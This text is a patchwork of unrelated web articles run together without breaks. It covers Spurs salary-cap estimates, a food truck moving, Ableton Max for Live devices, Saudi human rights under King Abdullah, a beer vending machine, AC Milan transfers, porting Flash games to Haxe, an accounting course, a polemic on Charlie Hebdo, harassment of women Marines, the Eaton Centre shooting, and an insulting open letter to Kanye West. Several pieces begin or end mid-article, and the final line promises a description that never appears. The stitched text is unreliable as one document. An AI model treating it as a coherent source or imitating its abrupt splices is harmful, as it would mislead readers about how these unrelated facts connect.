Mills is an unrestricted free agent. He's not a great playmaker, but he can handle the ball and is an excellent shooter. He's a great bench guard but would also fit well in the starting lineup of a team that either has scorers who need the ball, or creators at other positions.
We've seen a player that fits those characteristics — Patty's countryman Matthew Dellavedova — get a four-year, $38.4 million deal from the Bucks. The elite version of that type of player — George Hill — turned down an extension offer from the Jazz projected to pay him over $20 million a year. Let's split the difference and say Mills makes $15 million a year on his new three-year contract.
As for Simmons, he's an athletic bench scorer who can defend at an adequate level and has some passing ability. His shooting is not great, but it seems to be coming along. His ideal role might be sixth man, but he can probably be a decent starter on the right team.
Kent Bazemore got around $17 million a year with a similar skill set, though he had a longer track record of production. On the lower end of the scale, Gerald Henderson got $9 million a year from the 76ers. Splitting the difference, let's say Juice gets a $13 million-a-year offer from someone.
Since he's an Early Bird free agent subjected to the Arenas provision, the first year of his salary is going to be around $8.5 million, the equivalent of the mid-level exception. His contract might become problematic in year three, but that's a story for another article.
Bringing everyone back would make the Spurs' roster expensive
Let's use those estimates going forward and assume the Spurs actually want everyone back. Here's how their cap sheet would look, without counting Manu:
LaMarcus Aldridge: $21,461,010
Kawhi Leonard: $18,868,625
Tony Parker: $15,453,126
Patty Mills $13,875,000
Danny Green: $10,000,000
Pau Gasol: $10,825,000
Jonathon Simmons: $8,500,000
Kyle Anderson: $2,151,704
Tim Duncan (stretched): $1,881,250
Dejounte Murray: $1,312,611
Davis Bertans: $1,312,611
Bryn Forbes $1,312,611 (team option)
Livio Jean-Charles (waived): $1,035,200
2017 first round pick $1,170,500
Total: $109,159,248
In this scenario, the Spurs would be over the cap and would have the mid-level exception, worth $8.5 million. Adding that, they are at $117 million. The luxury tax sits at $121 million, so they would have around $4 million to offer Manu without getting past the tax level, assuming the ball park figures for Mills and Pau are correct. They could easily offer him more by stashing the first round pick or waving Forbes.
Pau's new contract is about avoiding the tax while running it back
By reducing the cap hit from Gasol's contract this season the Spurs are giving themselves a chance to essentially take another crack at the Warriors with the same team without going into luxury tax territory. If the reports that the Spurs believe they had a chance to beat Golden State this year are true, it makes sense for that to be the strategy.
The savings from Gasol are not significant enough to allow for a renovation, but they should be able help if their goal is to keep the team together while postponing the reloading phase to next offseason, when they will have more cap flexibility.
Reading the tea leaves is always hard when it comes to the Spurs. They might still make additional moves that point to a different strategy. Other teams might offer Mills a fortune, which would change the scenario. It's too early to pin down what the front office is thinking and what the contingency plans are.
Right now, though, it seems that unless something crazy happens, this offseason might be more boring than yesterday’s news suggested.
Meanwhile, Pig Vicious will be departing for an as-yet-unspecified brick-and-mortar establishment. Per a Facebook post:
Looks like we're gonna be leaving our current home. Maybe this week, maybe in 2 months. Whatever the case, the East Side Drive In is slated for condo's and we are planning on moving into what we like to call a brick and mortar. Yeah. Food, booze and music all under our own roof!
Other trucks that'll be finding new sites are: the Love Balls Bus,, The Vegan Yacht and Firefly Pies.
· East Side Drive-In [Facebook]
These devices allow you to connect, control and monitor Live with a range of innovative technologies and communication protocols. Use LEGO® MINDSTORMS® EV3, Arduino, or littleBits™ to connect up sensors, lights or motors, open your sound world up to the web through JSON-based APIs, or convert OSC data to MIDI data. The list of input and output possibilities for music & sound creation with Live is almost endless.
The Pack consists of 11 Max for Live devices: a toolkit for exploration, or to open up in Max and adapt to your own needs (Max programming knowledge is required for this!). Some devices demonstrate how you can use each protocol to capture different types of data. You can get the pack using the download button to the right or by forking our repository on GitHub. Here’s more on how you can use each device. Hardware
LEGO® MINDSTORMS® EV3 – Connect an EV3 Programmable Brick to Live and get access to its sensors and motors.
Arduino - Connects switches, potentiometers and other sensors to control Live parameters, or use Live to control LEDs or Servos connected to an Arduino Uno.
littleBits™ - use the littleBits Arduino with other input/sensor Bits to control Live. It also enables events in Live to control your other littleBits modules. Find out more about littleBits at littleBits.cc
Camera – fetches webcam data in order to control mappable parameters. OSC devices
OSC Send – converts any mappable Live parameter to OSC data for sending out of Live.
OSC TouchOSC – allows you to map any controller from any available TouchOSC layout to live elements.
OSC Monitor – a simple but useful OSC data monitor.
OSC Leap Motion – uses Leap Motion to generate midi notes with the help of the ManosOsc application.
OSC MIDI Send – sends MIDI note and velocity data as OSC messages to a Processing sketch. JSON devices
But Abdullah did not, in fact, make any fundamental reforms to the Saudi state, which remains one of the most oppressive and inhumane on earth. It punishes dissidents, including currently with multiple rounds of publicly lashing a blogger, amputates hands and legs for robbery, and enforces a system of gender restrictions that make women not just second-class citizens, but in many ways the property of men. Abdullah's reputation as a reformer comes from some relatively limited policy shifts he made. Praising Abdullah as a reformer, in addition to being misleading, seems to imply that Saudi Arabia should be held to a lesser standard than the rest of humanity, and that its citizens should be somehow grateful for Abdullah's minor adjustments to a system that remains cruelly unjust.
Abdullah didn't challenge the basics of the Saudi state
The Saudi political system, a blend of absolute monarchy and Islamic extremism, has one of the world's worst human rights records. There is no democracy and basic freedoms are limited. Detainees there, according to Human Rights Watch, "commonly face systematic violations of due process and fair trial rights, including arbitrary arrest, and torture." Punishments including amputation, flogging, and beheading.
Political dissent is strictly forbidden. Just two weeks ago, Abdullah's government lashed blogger Raif Badawi 50 times for the "crime" of defending atheists. Badawi has been sentenced to 1000 lashes in total, and ten years in jail.
Under the so-called "guardianship" system, women have essentially no independent rights. "Girls and women are forbidden from traveling, conducting official business, or undergoing certain medical procedures without permission from their male guardians," HRW explains. Women are de-facto prohibited from marrying without their permission from their "guardian."
In 2006, a Saudi court sentenced a rape victim to 90 lashes because she was in a car with a man she wasn't related to. When she spoke to the media about her case, her sentence was doubled.
King Abdullah did not attempt to fundamentally reform these practices or the system underlying them. "King Abdullah came to power promising reforms, but his agenda fell far short of achieving lasting institutional gains on basic rights for Saudi citizens," Joe Stork, the deputy Middle East director of HRW, wrote this week.
Praising Abdullah on the basis of lowered standards
Why have so many media outlets and prominent political leaders praised Abdullah as a reformer? By the standards set by other Saudi rulers, he did make an effort, if very modest, to do that. But Abdullah should be judged on the standard of what he actually accomplished, and not let off the hook because his peers managed to be even worse.
Human Rights Watch acknowledges that Abdullah made some actual effort in areas such as women's rights, religious and political freedom, and public transparency. He created scholarships for Saudi women to study abroad, pushed efforts to streamline the court system, and curtailed Saudi Arabia's dangerous support for Islamic extremism abroad.
That's not nothing. But it still barely scratches the surface of Saudi Arabia's problems.
This is partly because of systemic issues such as the state's religious character. Saudi Arabia is founded on a bargain between the al-Saud family and the Wahhabist clerical establishment, an Islamic fundamentalist movement with a particularly harsh interpretation of Islamic law. The Wahhabist establishment is still very powerful, and any Saudi monarch has to consider that.
Still, there's no excuse for sentencing a blogger to 1000 lashes for speaking his mind. There's no excuse for flogging rape victims, or sentencing women to prison simply for demanding the right to drive.
A new "smart" beer vending machine from Anheuser-Busch will be unveiled at Thursday’s Minnesota Wild home game at the Xcel Energy Center against the Chicago Blackhawks.
The vending machine is hailed as the first "BudweiserSmart" vending machine in any venue in the world.
Unlike some of the self-serve tap machines that have appeared around the country, including Minnesota’s Target Field, this machine will carry 25-ounce cans of Budweiser. The expectation is the operation will expand to include Bud Light at the Xcel Energy Center.
For the first night operation, a Levy Restaurants representative will stand by for assistance and to aid in scanning photo identification. The machine will include a touchscreen, which will feature Budweiser promotional messaging as well as social media posts from the Budweiser and Minnesota Wild Twitter accounts.
The machine will be located on the main concourse near Section 113 and the 25-ounce cans, the largest beer sold in the Xcel Energy Center, will cost $13.
AC Milan general manager Marco Fassone says he is "disappointed" with agent Mino Raiola for not believing in the Rossoneri's project.
In an interview with RAI television at the weekend, Raiola said that he does not believe in Fassone and sporting director Massimiliano Mirabelli's project since they were installed following a takeover of the club by Chinese investors.
Raiola also accused them of reneging on an agreement to give his client Gianluigi Donnarumma the captain's armband, and Fassone says he is sorry not to have been able to convince the agent of how serious Milan are on returning to the top of European football.
"I'm disappointed that he's said certain things," Fassone told Il Corriere dello Sport. "Raiola is the agent of Donnarumma, but also of [Giacomo] Bonaventura, [Ignazio] Abate and other youngsters. I have to admit, though, that Mino has been coherent and he expressed this lack of faith since April, because he could see an unclear, foggy future for the club.
"I've explained to him our project, which will develop in four to five years. Given his recent remarks, I can only deduce that, despite the investments, he is still perplexed, but I'm delighted that Gigio [Donnarumma] decided to stay because it means that he believes in it.
"I don't want to fuel controversy, but all I will say is that [Donnarumma] married our project and we can imagine Gigio becoming Milan captain. Giving him the armband now would have been premature, but he's going to be with us for a long time, so let's hope."
Mino Raiola represents players at Milan including goalkeeper Gianluigi Donnarumma.
Milan spent over €200 million on the transfers of 11 new players this summer, including the arrival of Italy centre-back Leonardo Bonucci from Juventus.
"We started out with a fundamental idea of what we were building here and Leo was not initially in that plan," he said. "At the start of June, [coach Vincenzo] Montella and Mirabelli came up with the idea of Bonucci, saying that he would have been the player who would have completed our squad.
"We went after him, even if I thought it was impossible that we'd get him. Instead, we reached an agreement in half an hour of our first meeting with [Juventus general manager Beppe] Marotta. Leo's a leader, but even he needs time to settle in."
The thoughts and opinions expressed are those of the writer and not Gamasutra or its parent company.
Overview
Adobe recently confirmed the suspicion held by many in the games industry that Flash is a dying platform. The official announcement that Flash will be discontinued in 2020 is threatening the infrastructure for many games and mobile apps, putting developers in a position to either abandon or overhaul their proprietary code built meticulously over the course of years. As the Chief Technology Officer of one of these companies, we faced a tough decision about how to move forward. With 10 years of running two successful Flash-based virtual worlds, ourWorld and Vegas World, under our belt, my team and I started thinking about how to address this issue more than two years ago. We considered whether to start over by building a new platform from the ground up, or find a solution to transfer our current codebase to a new platform that would work now and for years to come. Backed by a codebase of more than one million lines of ActionScript and a game suite that makes nearly $1 million in revenue per month, we knew finding the right solution was not going to be easy.
Choosing Our New Platform
Following months of deliberation, we decided that transitioning our codebase, which took nearly a decade to perfect, was the best move for both the future success of our company and to minimize disruption for the games we provide to millions of players worldwide. But to do that, we needed to identify a solution that could run our games cross-platform, which required evaluation of the benefits and drawbacks of the most trusted and up-and-coming platforms available. Below are a few of the platforms we assessed:
Option #1: Unity
Unity is a great option for developers looking to cross-compile across native Android and iOS, consoles, PCs and to a lesser extent the web, along with supplying a strong 3D engine and content creation tool. Written in the C# programming language, the platform boasts a huge community of content creators. Unity, however, offers only a poor solution on today’s web with limited browser support and the need for very large downloads. But, more fundamentally, the platform itself is closed. This means a development team could face a critical bug with little recourse if fixing it was not considered a priority within the Unity community. Additionally, closed platforms have historically performed significantly worse than open platforms over the long term (Flash being an obvious example) so we had significant concerns about adopting Unity and hoped we could find a better option.
Option #2: HTML5
HTML5 lets developers write in a single language that can run across any platform, eliminating the need to cross-compile the code to run on a range of devices. Unfortunately, this also produces poor performance on lower-end devices where you start from an interpreted language running within a browser embedded inside an app. It involves a lot layers and will perform worse than a pure native app in almost all cases. Along with Javascript’s lack of strong-type safety and Facebook’s decision around the same time to switch away from an HTML5 based mobile app, we felt that HTML5 also would not meet our long-term needs.
Option #3: Xamarin
There are several benefits to this platform, with one being that it allows developers to code in native Android, iOS and Windows App. This ‘cross-platform’ approach makes Xamarin a great fit for developers following a ‘mobile first’ strategy. FlowPlay’s bread and butter has always been in web-based games, with a ‘mobile last’ mentality, making this option unfit for our platform.
Option #4: Haxe
Haxe had a leg up for several reasons, with the first being its strongly-typed language designed for cross-compilation, allowing it to target native Android or iOS and HTML5 for the web. Haxe allowed us to tap into the OpenFL library to help us port millions of lines of Flash code, decreasing the time to transition the final product. Being an open-source platform gives developers flexibility to fix and repair any bugs or flaws as they happen, versus waiting on an update from a closed platform.
Along with the benefits, this platform had a few pitfalls we had to consider. Since the community only had a relatively small user base at the time we started to explore it, we questioned whether it could handle the complexity and size of our codebase and current game offerings. Knowing its tool chain and documentation was less polished than other platforms left us somewhat unsure of whether it would perform as well in practice as it stated in the marketing collateral. Our instinct was that Haxe was the right choice for the long-term health of our company but we knew we needed to be careful to fully explore it before risking our entire company on this technology.
Taking the Big Leap
After selecting Haxe, our team decided to parcel the transition into four parts. First, we needed to rewrite our entire codebase in order to use bitmap art. This was no small feat given that our games were running on over one million lines of code. We did this complete rewrite in ActionScript – a language we fully understood and knew how to build on. At this time, we were able to proceed on our second step: creating a Haxe slot game from scratch.
Writing this new Haxe game as a test pilot provided the validation we needed that we could have success on the new platform and helped familiarize our team with the new technology. Using our existing backend and shared accounts across the web, this game launched successfully on Flash (SWF), iOS and Android and HTML5, proving we could deliver on the new platform.
Next on our list was to directly port the new ActionScript code to Haxe. The plan here was to port the game from ActionScript to Haxe with no changes to the interface, art, or game itself. Once ported to Haxe, we initially cross compiled the code back to Flash. This way the product the end user was running (a Flash game in their browser or mobile device) would not actually change at all – if we did our job well. Only then we could move onto our fourth and final step of cross compiling Haxe to produce an HMTL5 game on the web, and a native mobile game on Android and iOS shortly after.
Facing Challenges Along the Way
With any major undertaking, challenges are bound to arise. In our case, there were two hurdles we had to overcome during our transition. First was the sheer volume of code we were running at any given time in support of three live, large codebases, including the old and new ActionScript game along with the newly ported Haxe game. Making this matter more complicated was the fact we still needed to run a consumer-facing game that included new features and updates on a regular basis. The situation was much like trying to rebuild a car as it speeds down the freeway. We needed to replace the engine and rewire all of the electronics and yet, at no time could we stop the car – since the car (or in this case, our game) was making the majority of our company’s revenue.
The second obstacle we faced was the size, complexity and global audience of our games. To put this in perspective, there were over 1,000,000 lines of code in the final Haxe version managing more than 50 slot machines, nearly 15 tables games, and more than 50,000 in-game virtual goods to transition. This along with every avatar, our unique social features and a vast virtual world player community. When dealing with social games where players dictate its success or failure, things can go awry in the blink of an eye, so player satisfaction remained top priority every step of the way.
Identifying Good Decisions
Even though we experienced a few hiccups along the way, our team made a handful of key decisions that allowed us to succeed. We invested directly in Haxe, hiring lead OpenFL developer, Joshua Granick, and contracting Eric Bishton, lead developer on the IntelliJ Haxe plugin. Their expertise helped us resolve problems that we identified within the Haxe platform itself. The open-source nature of Haxe allowed our team to rapidly identify and fix problems in our rendering engines, issues with IPv6 support, and expand into areas that were important to our business, such as modular HMTL5 deployments.
Finally, and potentially one of the most important decisions we made, was rewriting the entire codebase in ActionScript first to take full advantage of GPU acceleration, before porting it into Haxe. Rewriting first in a language and with tools we were familiar meant we weren’t both modifying how the code was intended to work at the same time as moving to a new language. It then allowed us to port the code to Haxe without making any logical or structural changes.
The Results
This week, we executed on our final step of the transition, and we are proud to say our entire gaming suite is now running on Haxe and generating HTML5 content for the web. Not only was this the culmination of years of hard work, but it was a largely seamless final step, with few hiccups or complaints from the player community.
While our team has a lot to celebrate, there are some ‘lessons learned’ from this journey that may be useful for developers exploring Flash-alternatives:
Haxe was undoubtedly the right choice of platform for our company. It actually performed better than we had expected at the outset and its ability to natively support our games across multiple devices is critical to the ongoing success of our business. The cross-compiling approach feels extremely strong. Not only does it give us access to native performance and features, it allows us to easily target additional devices that today we have not chosen to pursue because the development costs would have been too high. It also gives us the power to made adjustments – for example: if web assembly comes to replace HTML5 as the preferred solution for the web, it should be a simple adjustment for us. Haxe’s open source nature also means the language (or platform) does less directly for the developer than a system like Unity, leaving the complexity to the supporting libraries (like OpenFL). Historically, we feel this approach has generally proven to be much more successful over the long-term meaning we feel there’s a lot less “platform risk” for our company than if we had adopted any of the competing closed solutions.
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The University of Alaska offers a course of financial accounting. The required text for the course is Financial Accounting Information for Decisions - 2nd Edition, by John J. Wild. Topics include accounting concepts and principles, organizing accounting data, and financial statements.
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"If our colleagues in the public debate do not share part of the risk, then the barbarians have won." — Elisabeth Badinter, philosopher, who testified in court for the cartoonists in the documentary, "Je suis Charlie."
"We must continue to portray Muhammad and Charlie; not to do that means there is no more Charlie." — Patrick Pelloux, another cartoonist who left the magazine.
"The newspaper is no longer the same, Charlie is now under artistic and editorial suffocation." — Zineb el Rhazoui, French-Tunisian intellectual and journalist, author of Destroying Islamic Fascism .
Over twenty years, fear has already devoured important pieces of Western culture and journalism. They all disappeared in a ghastly act of self-censorship: the cartoons of a Danish newspaper, a "South Park" episode, paintings in London's Tate Gallery, a book published by the Yale University Press; Mozart's Idomeneo, the Dutch film "Submission", the name and face of the US cartoonist Molly Norris, a book cover by Art Spiegelman and Sherry Jones's novel, "Jewel of Medina", to name just a few. Most of them have become ghosts living in hiding, hidden in some country house, or retired to private life, victims of an understandable but tragic self-censorship.
Only the French satirical magazine Charlie Hebdo was missing from this sad, long list. Until now.
The disappointment with what Charlie Hebdo has become is reflected in the words of the French journalist, Marika Bret: "From Italy we receive many threats." The reference is not to some Italian jihadist cell, but to a September Charlie Hebdo cover that mocked victims of the earthquake in Italy. It seems that the satirical weekly, almost destroyed by French Islamists two years ago, has been "normalized".
Take Charlie's recent covers. Against terrorists? No. Against those who called them "racists"? No. It was against Éric Zemmour, the brave French journalist at Le Figaro who has led a public debate about French identity. "Islam is incompatible with secularism, incompatible with democracy, and incompatible with republican government," Zemmour wrote.
Laurent Sourisseau, aka "Riss," now the publishing director and majority owner of Charlie, was shot during the 2015 attack on the magazine, and lives under police protection. He depicted Zemmour on the cover with an explosive vest, effectively comparing him to a terrorist.
Charlie Hebdo also recently satirized Nadine Morano, a critic of Islam, depicting her as a baby with Down Syndrome.
Riss also recently published a comic book attacking another easy target of submissive conformists, entitled "The Dark Side of Marine Le Pen." Le Pen leads France's National Front party, with a platform fighting for national sovereignty and Europe's Judeo-Christian identity. In Charlie, the political leader of the French "right" is dressed as Marilyn Monroe.
For the first anniversary of the massacre at Charlie Hebdo's office, Riss released a cover not with Mohammed, but depicting a murderous Judeo-Christian God, as if Riss's colleagues had not been butchered by Islamists but by Catholics. Riss had, in fact, announced earlier that the magazine would "no longer draw Mohammed".
The first person at Charlie to capitulate was "Luz", a well-known cartoonist. He surrendered, saying: "I will no longer draw Muhammad".
Charlie Hebdo, after Islamist terrorists murdered much of its staff in 2015, announced it would "no longer draw Mohammed." Instead, the magazine now focuses on attacking critics of Islamism, and mocking the Judeo-Christian God.
"The transplant that works worst," said Jeannette Bougrab, the companion of Charlie's late editor Stéphane Charbonnier, "is the transplant of balls." Bougrab charged the attack's survivors with bowing to terrorism and threats by betraying the legacy of free speech for which these truthful men were murdered.
After the massacre of January 7, 2015, the cartoonist "Luz" cried in front of the cameras after presenting a cover depicting the survivors, in which Muhammad was portrayed as saying, "All is forgiven". Luz then appeared in Le Grand Journal along with Madonna, and in a gesture of sad voyeurism, displayed his genitals, covered by the logo "Je suis Charlie".
Charlie's "normalization" was also reflected in the recent dramatic decision to terminate the magazine's relationship with another survivor, the French-Tunisian intellectual and journalist Zineb el Rhazoui, who also now has to live under police protection for her criticism of Islamic extremists.
"The newspaper is no longer the same, Charlie is now under artistic and editorial suffocation," she told Le Monde. Rhazoui is the author of a new book, "Détruire le Fascisme Islamique" ("Destroying Islamic Fascism").
"We must continue to portray Muhammad and Charlie; not to do that means there is no more Charlie", said Patrick Pelloux, another cartoonist who left the magazine.
There were seven cartoonists at Charlie Hebdo. Five were killed on January 7, 2015: Charb, Cabu, Honoré, Tignous and Wolinski. The other two, Luz and Pelloux, resigned after the massacre. The headline of the monthly Causeur captured the atmosphere: "Charlie Hebdo Commits Hara-Kiri," playing with the Japanese form suicide and the previous name of Charlie (which was "Hara-Kiri"). Between murders, desertions and self-censorship, Charlie's story is almost over.
What is happening? Sadly, the Islamists' threats and attacks are working. A similar crisis affected the Jyllands-Posten, the Danish newspaper that first published the 12 cartoons of Muhammad, which Charlie Hebdo immediately, to show solidarity, reproduced. "The honor of France was saved by Charlie Hebdo," wrote Bernard-Henri Lévy when the magazine republished the Danish cartoons, while many "right thinking" media blasted the "Islamophobia" of those caricatures.
"The truth is that for us it would be totally irresponsible to publish the cartoons today," the director of Jyllands-Posten, Jorn Mikkelsen says to justify his self-censorship. "Jyllands-Posten has a responsibility to itself and its employees." Such as Kurt Westergaard, author of the caricature of Mohammed with a bomb in his turban, who now lives in a house-fortress, with cameras and security windows and machine-gun toting guards outside.
An ideological clash inside Charlie Hebdo developed well before the terror attack. Zineb el Rhazoui arrived at the weekly magazine through editor Stéphane Charbonnier, "Charb", the brave journalist who lead the battle against Islamist intimidation in Europe. Even from his grave, he penned an "Open Letter to the Fraudsters of Islamophobia Who Play Into Racists' Hands." But, as Libération writes, "Riss opposed Charb; he is less politically identified, more introverted than him."
Charbonnier belonged to the generation of Philippe Val and Caroline Fourest, the libertarian journalists determined to criticize Islam, who, from 1992 to 2009, shaped the weekly magazine.
"Charb? Where is Charb?", shouted the terrorists in Charlie Hebdo's office, to make sure they found the journalist they considered responsible for the Mohammed cartoons controversy.
Philippe Val, who as a former Charlie Hebdo editor, was put on trial in Paris for printing those cartoons, published a book "Malaise dans l'inculture" ("Sickness in the Lack of Culture"), which attacks "the ideological Berlin Wall" that has been raised by the Left.
In 2011, after a firebombing that destroyed Charlie's offices, an appeal by frightened, intimidated journalists announced their refusal to support the magazine's stance on Islam. Two years later, one of the signatories, Olivier Cyran, a former editor of Charlie Hebdo, charged the magazine with being "obsessive about the Muslims." So did a former Charlie journalist, Philippe Corcuff, who accused his colleagues at the magazine of fomenting "a clash of civilizations."
The attacks continued with another former cartoonist at Charlie Hebdo, Delfeil de Ton, who, in Le Nouvel Observateur, after the 2015 massacre, shamefully accused Charb of "dragging" the staff into the slaughter by continuing to satirize Mohammed.
After the Kouachi brothers slaughtered Charlie Hebdo's staff, they ran out into the street and cried: "We have avenged Mohammed. We killed Charlie Hebdo." Two years later, it appears that they won. They succeeded in silencing the last European magazine still ready to defend freedom of expression from Islamism. And they sent a special warning to all the others. Because after Charlie Hebdo, writing articles critical of Islam, or penning a cartoon, make them a target for assassination attempts and intimidation campaigns.
The feminist and philosopher Elisabeth Badinter, who testified in court for the French cartoonists in the documentary, "Je suis Charlie," said: "If our colleagues in the public debate do not share part of the risk, then the barbarians have won."
The scandal has now spread to the Army and Navy, which are investigating similar photo sharing groups. But for the tens of thousands of women serving in the military, even successful prosecutions may have little effect on the minefield of bias they say they confront.
More than any other branch of the military, the Marine Corps has resisted integrating women. It still trains recruits separately and fails to give women properly fitting body armor, which the Army has provided for years.
“Almost every woman I know in the Marines has faced this kind of harassment, and you try to show you are tough enough to ignore it,” said Justine Elena, a former Marine captain who served in Afghanistan and now works for “The Daily Show.” “But at some point, by ignoring it, you just condone it.”
She recalled an instance when fellow Marines took photos of women in the bathrooms on a ship a friend was serving on.
“We need to stand up and say that is not what the Marines is about,” she said.
Last week, after hearing of the widespread photo sharing, Ms. Elena set up a fund-raiser called Female Marines United, in which people could show their opposition to Marines United by donating money to support mental health care for Marine veterans.
Ms. Cunningham, who is just a few weeks away from placing her feet on the painted yellow footprints at basic training that are the symbolic first step in becoming a Marine, said that while she had often been torn about how to respond to the online harassment, she had decided that the best response would be to become the best Marine possible.
Chistopher Husbands surrendered to police at 52 division early Monday morning. Det. Sgt. Brian Borg, of the homicide squad, said Mr. Husbands was under house arrest that forbade him from leaving his house at the time of the incident.
The 23-year-old will be charged with one count of first degree murder and six counts of attempted murder this afternoon, but investigators do not believe the shooting to be gang-related.
Although the alleged shooter, the deceased man and another shooting victim man are believed to belong to the same street gang, police believe “personal aspects” are involved.
“There is no evidence of this being gang-related,” said Det. Sgt. Borg, the lead investigator. “I think they just came across each other, unfortunately in a very bad location.”
“By no means is this investigation concluded,” Det. Sgt. Borg added.
Police are still appealing to the public for information and video or photographs. Mayor Rob Ford and senior police brass continued to stress that Toronto is a safe city. “Let us not become too alarmist,” said Acting Deputy Chief Jeff McGuire.
Police believe they have apprehended the lone person responsible for the Eaton Centre shooting.
“There was one shooter, one gun, unfortunately that gun inflicted a substantial amount of human damage.”
The Eaton Centre re-opened today with the only obvious sign of Saturday’s bloody chaos the closed food court where a gunman sprayed bullets, killing one person and wounding six others.
As visitors and tourists began filling the mall, retailers said they felt reassured a suspect had turned himself in and was in custody today but said they were not particularly concerned about coming to work.
Mayor Rob Ford told reporters Monday that he was “glad” there had been an arrest. “It’s a much better day than we had the last couple of days,” Ford said.
Police say the man who died, 24-year-old Ahmed Hassan, is believed to have gang ties, although it’s not yet known if Saturday’s rampage was gang-related.
Hassan was shot several times in what police called a targeted attack, and not a random act of violence.
Of the six people wounded, two remain in hospital. A teenaged victim was in a coma in critical condition after surgery for a gunshot wound to his head and a 23-year-old man who suffered multiple gunshot wounds to the neck and abdomen is listed as critical.
A 13-year-old Port Hope, Ont., boy had been enjoying an afternoon going to a movie with his mom and older sister when they got caught up in the bloody food-court mayhem.
[np-related]
Doctors had removed a piece of his skull to relieve swelling and were keeping him in an induced coma as his parents and other close family members maintained a bedside vigil.
“He has moved his arms and legs — that’s a good sign,” the relative, who asked not to be named said.
“As far as anything else, no one knows.”
The relative said it was still too early to know exactly what the boy’s prognosis would be.
However, she said the entire family was still in shock.
“This has hit very close to home,” the relative said.
“It’s devastating. You never think something like this is going to happen to your family.”
Other victims of the shooting include a 25-year-old woman and a 22-year-old man, both shot in their left leg, and a 30-year-old woman grazed by a gunshot along her abdomen. They were released from hospital. A 22-year-old woman who was taken to hospital with a gunshot wound to her hand left without getting treatment.
A 28-year-old pregnant woman who was injured as people fled the chaotic scene and reportedly sent into labour is doing well, in hospital, along with her unborn baby. The contractions have stopped, police officials said.
One Eaton Centre retailer, Michael Mayne, admitted to feeling a “little tense” as he began his workday at the centre, but said he believed the mall and city was safe.
“I’m a little on the edge,” Mayne said. “If it’s a gang-related situation, it doesn’t stop there.”
Eaton Centre spokeswoman Meredith Vlitas declined to discuss the situation.
“We’re really trying to resume normal business operations as quickly as possible,” Vlitas said.
“We would like to give our customers, tenants and staff the opportunity to recover from this tragedy and give everyone a chance to put this behind them and move on.”
In the House of Commons on Monday, the NDP’s Andrew Cash, a Toronto area MP, expressed condolences to the victims on behalf of his caucus.
“I rise today in the House with a heavy heart full of sadness and sympathy and I have to admit, anger, over the outrageous shooting,” he said. “Now, chances are if you’ve visited Toronto you’ve been there. It’s the great meeting place of the GTA. It’s where the teenager gets their first job. It’s where you go to buy your kids skates or new shoes for school.
“So on behalf of the entire New Democratic caucus, to those innocent bystanders injured, and to their families; the 13-year-old boy struck by a bullet, the pregnant woman knocked to the floor and to all those traumatized by the shooting, whether you were there or not, and to the family of the young man who lost his life, I want to convey our deepest condolences, our sympathies and our solidarity.”
For many, including Police Chief Bill Blair, the incident on Saturday conjured up frightening memories of Boxing Day 2005, when Jane Creba died and six others were wounded in a gang gunfight on Yonge Street, north of the shopping centre. Four men were convicted in that crime.
In this case, there is no evidence of an exchange of gunfire, and officials took great pains to stress that the city remains safe.
“Pardon my phrase, but one idiot with a gun on a Saturday afternoon, in downtown Toronto, does not speak to the state of affairs of the city of Toronto,” Acting Deputy Chief Jeff McGuire told reporters at a Sunday afternoon press conference at police headquarters. “This has an incredible ability to create fear and angst among people, but we’re here to tell you we’re investigating very carefully,” he said, adding that while it is a “horrific” incident, it is also isolated.
“Our investigation clearly suggests this is a targeted shooting and not a random act of violence against the general members of the public,” said Det. Sgt. Brian Borg. “Regardless, it was committed in a busy mall, in the heart of the city, with no regard for members of the public simply going about their everyday business and pleasure.” The deceased was shot multiple times, and an autopsy is underway.
Chief Blair, who attended the scene Saturday, said police will be “relentless in our pursuit of the individual or individuals who were responsible for this violence.”
Shoppers who were in the Eaton Centre when shots rang out recalled scenes of panic, with a crush of people trying to run out of the mall, and others huddling in bathrooms or the ground for safety.
One man who was shot in the leg and later released from hospital told all-news TV station CP24 that his “survival instinct” kicked into gear despite his injury.
“I actually ran,” said the man, identified as Nicholas.
Marcus Neves-Polonio was working in the food court when he saw a man whip out a gun and start firing.
“It was out of the blue… As soon as I heard the gunshots, I ducked under the table,” he recalled.
Another man, Will, who was separated from his family by a few feet in the food court heard the shots and took cover. His wife hit the floor with their seven-month-old baby and three-year-old daughter, singing songs to soothe them. Later, the little girl told her father “that fireworks belong in the sky and not in people, so she might have seen something,” he said.
Police have not confirmed how many bullets were fired in the incident, and would not discuss the type of gun used, or if it has been recovered, but one witness said she heard around 15 shots before the panicked crowd stampeded for cover. Thousands poured into the downtown streets in the ensuing minutes.
Hannah Stewart, who was shopping at the time, recalled a “massive crowd of people screaming, running, freaking out,” and noticed one young woman with blood on her toes who said she had just been shot.
Toronto Blue Jay Brett Lawrie happened to be on scene at the time of the shooting, writing on Twitter immediately afterward: “Pretty sure someone just let off a round bullets in eaton center mall… People sprinting up the stairs right from where we just were.”
“It was instant panic,” Mr. Lawrie said later. “It was almost like if you stepped on an anthill and then everyone just flooded right out of the whole place. It was kind of one of those things where you almost think, ‘Was it real or was it not?’ ”
Police were combing through surveillance videos and interviewing witnesses, while the coroner arrived on scene early Sunday to remove the body of the man who was killed.
The victim, wrapped in a navy blue sheet, was wheeled out of the shopping centre around 7:30 a.m.
“It’s astonishing that something like this could happen in broad daylight, in the middle of the day, in the food court of the Eaton Centre,” said Councillor Denzil Minnan-Wong, who was driving home along Yonge St. after participating in the Becel Ride for the Heart.
“I hope the morons who caused this carnage pay the price and don’t get out of jail, once they catch them,” said Dana McKiel, a Rogers sportscaster, outside the closed Eaton Centre on Sunday.
“People think it’s like the wild wild west, Newark or Compton. Toronto is not like that. That said, there are some real characters who live in this city who have no respect for the law.”
The food court will stay closed until Tuesday.
With files from Megan O’Toole, Natalie Alcoba, Allison Cross, National Post and The Canadian Press
"I bet your wife is subconsciously fed up with raising a little boy for a husband, and I am sure your mother would have been so proud of your behavior. Can I ask you something? Would she have stood beside you and your wife’s decision, you know, to break the Internet with Kim’s full nude photos? There’s nothing wrong with sacrificing your morality for a little bit of extra income and attention. Am I correct? You seem comfortable with your wife as she continues to milk society’s attention with their own controllable obsession with sex. A woman who skates through life with the praise and worship fueled by the leak of a sex tape on the Internet. Really Mr. West? Is this the best you could do with so many talented, artistic women across countries? By approving this irresponsible behavior, you are accepting the reality that one day your daughter will face the repercussions of this photo with classmates in school. You also are condoning this to the young girls who follow Kim on Twitter and witnessed her success as she continuously rises to fame and stardom using her body. What a fantastic moral to spread, right?"
Here's the description from the YouTube Page that the video was originally posted:
